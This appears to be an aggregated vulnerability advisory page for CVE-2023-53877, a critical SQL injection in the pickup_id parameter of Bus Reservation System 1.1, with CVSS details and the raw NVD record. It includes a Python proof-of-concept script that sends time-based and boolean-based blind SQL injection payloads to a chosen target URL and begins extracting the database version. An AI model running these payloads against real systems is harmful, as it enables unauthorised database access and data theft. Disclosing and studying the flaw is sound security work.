Security Vulnerability Report
中文
CVE-2023-53877 CVSS 9.8 CRITICAL

CVE-2023-53877

Published: 2025-12-15 21:15:50
Last Modified: 2025-12-18 22:36:04

Description

Bus Reservation System 1.1 contains a SQL injection vulnerability in the pickup_id parameter that allows attackers to manipulate database queries. Attackers can exploit boolean-based, error-based, and time-based blind SQL injection techniques to steal information from the database.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:phpjabbers:bus_reservation_system:1.1:*:*:*:*:*:*:* - VULNERABLE
Bus Reservation System 1.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys import time # CVE-2023-53877 SQL Injection PoC # Target: Bus Reservation System 1.1 # Vulnerability: SQL Injection in pickup_id parameter def test_blind_sqli(url, param_name="pickup_id"): """ Test for boolean-based blind SQL injection """ # Normal request baseline normal_payload = "1" normal_url = f"{url}?{param_name}={normal_payload}" try: start = time.time() resp1 = requests.get(normal_url, timeout=10) baseline_time = time.time() - start # Test with time-based injection (SLEEP 5 seconds) # If vulnerable, page will delay response by ~5 seconds injected_payload = "1 AND (SELECT 7777 FROM (SELECT SLEEP(5))xxx)" injected_url = f"{url}?{param_name}={injected_payload}" start = time.time() resp2 = requests.get(injected_url, timeout=30) injected_time = time.time() - start print(f"[*] Normal request time: {baseline_time:.2f}s") print(f"[*] Injected request time: {injected_time:.2f}s") if injected_time > 4: print("[+] VULNERABLE! Time-based SQL injection confirmed") return True else: print("[-] Target may not be vulnerable") return False except requests.exceptions.Timeout: print("[+] VULNERABLE! Request timed out (likely exploited)") return True except Exception as e: print(f"[!] Error: {e}") return False def extract_data(url, param_name="pickup_id"): """ Example: Extract database version using boolean-based blind SQLi """ # Database version extraction payload # This payload checks if first char of version string is '5' payload_template = "1 AND ASCII(SUBSTRING((SELECT version()),1,1))=53" target_url = f"{url}?{param_name}={payload_template}" print(f"[*] Testing data extraction: {target_url}") print("[*] Example: Checking if MySQL version starts with '5'") # In real attack, attacker would iterate through all characters # and positions to fully extract database information if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2023-53877.py <target_url>") print("Example: python cve-2023-53877.py http://target.com/index.php") sys.exit(1) target = sys.argv[1] print(f"[*] Testing CVE-2023-53877 on {target}") test_blind_sqli(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2023-53877", "sourceIdentifier": "[email protected]", "published": "2025-12-15T21:15:50.427", "lastModified": "2025-12-18T22:36:03.887", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Bus Reservation System 1.1 contains a SQL injection vulnerability in the pickup_id parameter that allows attackers to manipulate database queries. Attackers can exploit boolean-based, error-based, and time-based blind SQL injection techniques to steal information from the database."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:phpjabbers:bus_reservation_system:1.1:*:*:*:*:*:*:*", "matchCriteriaId": "D9A5D665-0DAF-4372-B457-095D7E0A6DC7"}]}]}], "references": [{"url": "https://www.exploit-db.com/exploits/51712", "source": "[email protected]", "tags": ["Exploit"]}, {"url": "https://www.phpjabbers.com/bus-reservation-system/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.vulncheck.com/advisories/bus-reservation-system-multiple-sql-injection-via-pickupid-parameter", "source": "[email protected]", "tags": ["Exploit"]}]}}